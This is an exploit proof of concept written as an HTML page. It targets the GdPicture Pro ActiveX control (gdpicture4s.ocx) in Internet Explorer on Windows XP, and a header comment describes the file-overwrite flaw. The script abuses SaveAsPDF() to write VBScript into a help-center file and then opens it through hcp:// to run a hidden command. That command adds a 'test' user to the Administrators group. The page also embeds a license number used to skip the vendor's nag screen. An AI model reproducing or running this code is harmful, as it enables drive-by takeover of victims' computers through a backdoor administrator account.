<!--

  ---------------------------------------------------------------------------------
  GdPicture Pro ActiveX (gdpicture4s.ocx) Remote File Overwrite / Execution Exploit
  ---------------------------------------------------------------------------------
  
  author...: EgiX
  mail.....: n0b0d13s[at]gmail[dot]com
  
  link.....: http://www.gdpicture.com/
  ProgID...: GdPicture4S.Imaging
  
  Description:
  
  SaveAsPDF() method allow to create / overwrite file through
  sFilePath argument. By using other arguments, such as sTitle,
  an attacker could be inject html code and execute it using
  the hcp:// protocol (tecnique discovered by rgod).
  Also GdPicturePro5.Imaging is prone to this vulnerability,
  but it doesn't implements the IObjectSafety interface.
  
  Tested on Windows XP SP2 with IE 6/7
  
  Object safety report:
  
  Report for Clsid: {E8512363-3581-42EF-A43D-990E7935C8BE}
  RegKey Safe for Script: False
  RegKey Safe for Init: False
  Implements IObjectSafety: True
  IDisp Safe:  Safe for untrusted: caller,data  
  IPStorage Safe:  Safe for untrusted: caller,data

  [*] A special thanks goes to shinnai, for his patience :)

-->

<object classid='clsid:E8512363-3581-42EF-A43D-990E7935C8BE' id='test'></object>

<script language='javascript'>

  var cmd = "cmd /c net user test test /add & net localgroup Administrators test /add";

  var outFile = "c:\\windows\\pchealth\\helpctr\\system\\errors\\badurl.htm";

  var BMP = "\x42\x4d\x42\x00\x00\x00\x00\x00\x00\x00\x3e" +
      "\x00\x00\x00\x28\x00\x00\x00\x01\x00\x00\x00" +
      "\x01\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00" +
      "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
      "\x00\x00\x00\xff\xff\xff\x00\x80\x00\x00\x00";

  var sc = "<object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8' id='wsh'><\/object>" +
     "<script language='vbscript'>wsh.Run \"" + cmd + "\", SW_HIDE<\/script>";

  test.SetLicenseNumber("0317955669879948884162456"); // only to avoid the nag screen
  test.CreateImageFromString(BMP);

  if (test.SaveAsPDF(outFile, sc, "", "", "")) location.href = "hcp://system/errors/badurl.htm";

</script>